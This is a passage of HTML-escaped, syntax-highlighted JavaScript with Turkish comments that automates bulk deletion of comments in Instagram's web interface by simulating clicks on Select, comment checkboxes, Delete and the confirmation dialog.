class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Ger&amp;ccedil;ek t&amp;inodot;klama sim&amp;uuml;lasyonu&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;realClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollIntoView&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;block&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"center"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"mousedown"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mouseup"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"click"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;eventType&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dispatchEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MouseEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;eventType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;view&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;bubbles&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;cancelable&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;buttons&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findSelectButton&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s1"&gt;'div[data-bloks-name="bk.components.Flexbox"]'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;find&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Select"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;activateSelectMode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selectBtn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findSelectButton&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;selectBtn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ne"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Select butonu bulunamad&amp;inodot;."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;realClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selectBtn&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SELECT_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;getSelectableIcons&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="s1"&gt;'div[data-bloks-name="ig.components.Icon"][style*="circle__outline"]'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selectComments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;max&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;icons&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;getSelectableIcons&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;icons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;icon&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;icons&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;max&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;icon&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollIntoView&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;behavior&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"smooth"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;block&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"center"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;400&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;icon&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;closest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'[role="button"]'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;realClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ICON_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findBloksDeleteButton&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;deleteText&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s1"&gt;'span[data-bloks-name="bk.components.TextSpan"]'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;find&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Delete"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;deleteText&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;deleteText&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;closest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'div[style*="pointer-events: auto"]'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;clickBloksDelete&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SELECT_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;deleteBtn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findBloksDeleteButton&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;deleteBtn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ne"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Bloks Delete butonu bulunamad&amp;inodot;."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;realClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;deleteBtn&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findModalDeleteButton&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"button"&lt;/span&gt;&lt;span class="p"&gt;)].&lt;/span&gt;&lt;span class="nx"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;btn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;btn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Delete"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;confirmFinalDelete&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;DELETE_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;modalDeleteBtn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findModalDeleteButton&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;modalDeleteBtn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ne"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Onaylama butonu bulunamad&amp;inodot;."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;modalDeleteBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;modalDeleteBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;click&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cycle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
